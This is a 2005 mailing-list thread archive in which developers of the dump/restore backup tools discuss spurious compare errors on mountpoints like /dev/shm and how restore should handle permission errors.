On Sat, Jan 22, 2005 at 12:26:05PM +0100, Stelian Pop wrote: > On Sat, Jan 22, 2005 at 12:32:27AM -0800, Kenneth Porter wrote: > > > --On Saturday, January 22, 2005 8:46 AM +0100 Stelian Pop > > <st...@po...> wrote: > > > > >The reason you didn't get this with older versions of restore is > > >because older versions of restore didn't even bother to compare > > >directories *at all*. Now that restore does, we have this special > > >case of mountpoints, and I'm not sure what's the best solution here. > > > > Can you tell whether it's a mount point? If so, then just reporting that is > > sufficient, given the way everything works. I just didn't recognize those > > as mount points without having them pointed out, since I don't normally pay > > attention to those particular ones. > > Well, dump does contain that logic, but in its own code, not in the > common part, so it's not usable directly by restore. I'll see if it's > possible to dig that code out and reuse it. After a second thought, this is a bit more complicated that it seems: What if the "hidden" directory does contain some files ? Dump will see them but restore will not. Should restore report compare errors or should it detect that the files are "hidden" ? I would go with the kiss approach here (keep it simple, stupid), and do nothing about those files. Those who want the warning messages to go away must correct the permission by hand: - ls -l /mountpoint -> remember ownership and file mode - boot on some alternative media (rescue cd etc) -> depending on the filesystem being mounted, you can either do this immediately, or by going single user, or rebooting on a rescue CD for the "system" ones (/dev/shm, /proc, /sys, /dev etc) - umount /mountpoint - chown owner:group /mountpoint - chmod newmode /mountpoint In other words, let restore report whatever errors it sees (we can easily explain to the users), instead of hacking a "solution" which could led to other questions from users we might not be able to answer :) Stelian. -- Stelian Pop <st...@po...> |
From: Stelian P. <st...@po...> - 2005-01-22 11:26:12
|
On Sat, Jan 22, 2005 at 12:32:27AM -0800, Kenneth Porter wrote: > --On Saturday, January 22, 2005 8:46 AM +0100 Stelian Pop > <st...@po...> wrote: > > >The reason you didn't get this with older versions of restore is > >because older versions of restore didn't even bother to compare > >directories *at all*. Now that restore does, we have this special > >case of mountpoints, and I'm not sure what's the best solution here. > > Can you tell whether it's a mount point? If so, then just reporting that is > sufficient, given the way everything works. I just didn't recognize those > as mount points without having them pointed out, since I don't normally pay > attention to those particular ones. Well, dump does contain that logic, but in its own code, not in the common part, so it's not usable directly by restore. I'll see if it's possible to dig that code out and reuse it. Stelian. -- Stelian Pop <st...@po...> |
From: Kenneth P. <sh...@se...> - 2005-01-22 08:32:34
|
--On Saturday, January 22, 2005 8:46 AM +0100 Stelian Pop <st...@po...> wrote: > The reason you didn't get this with older versions of restore is > because older versions of restore didn't even bother to compare > directories *at all*. Now that restore does, we have this special > case of mountpoints, and I'm not sure what's the best solution here. Can you tell whether it's a mount point? If so, then just reporting that is sufficient, given the way everything works. I just didn't recognize those as mount points without having them pointed out, since I don't normally pay attention to those particular ones. |
From: Stelian P. <st...@po...> - 2005-01-22 07:47:15
|
On Fri, Jan 21, 2005 at 03:27:41PM -0800, Kenneth Porter wrote: > Additionally, when verifying a backup where I don't have permission to read > all files on the target filesystem, a permission error on a file stops with > an offer to abort and dump core, but a permission error on a directory > keeps going. I don't have a strong preference either way, but it seems like > these two situations should have a consistent effect. Sure. I'll change both to try and continue the restore. Thanks. Stelian. -- Stelian Pop <st...@po...> |
From: Stelian P. <st...@po...> - 2005-01-22 07:46:23
|
On Fri, Jan 21, 2005 at 03:08:40PM -0800, Kenneth Porter wrote: > >3. Silenced the failure to call fgetflags() when comparing an > > entry which has no ext2 attributes (as in lsattr()). > > I built this with the new EA/ACL patch. Not sure if this is related, but > I'm getting a few compare errors in /dev: > > [buildmeister@segw dump]$ ./dump 0 -b 64 -Mf /tmp/test2.dump -Q > /tmp/test2.qfa -B 1000000 /dev > > (Normal dump output) > > ./restore -C -l -L 1000 -b 64 -Mf /tmp/test2.dump > > ./restore: ./dev/pts: llistxattr failed: Operation not supported > ./dev/shm: mode changed from 0755 to 01777. > ./dev/shm: EA count changed from 0 to 1 > > I put the test dump file in the same location as before. Yeah, I know of this one: this occurs on *mountpoints*. Dump saves the mountpoint but restore compares against the root directory of the mounted filesystem (because it is impossible using standard syscalls to access the original, now hidden mountpoint. The reason you didn't get this with older versions of restore is because older versions of restore didn't even bother to compare directories *at all*. Now that restore does, we have this special case of mountpoints, and I'm not sure what's the best solution here. Stelian. -- Stelian Pop <st...@po...> |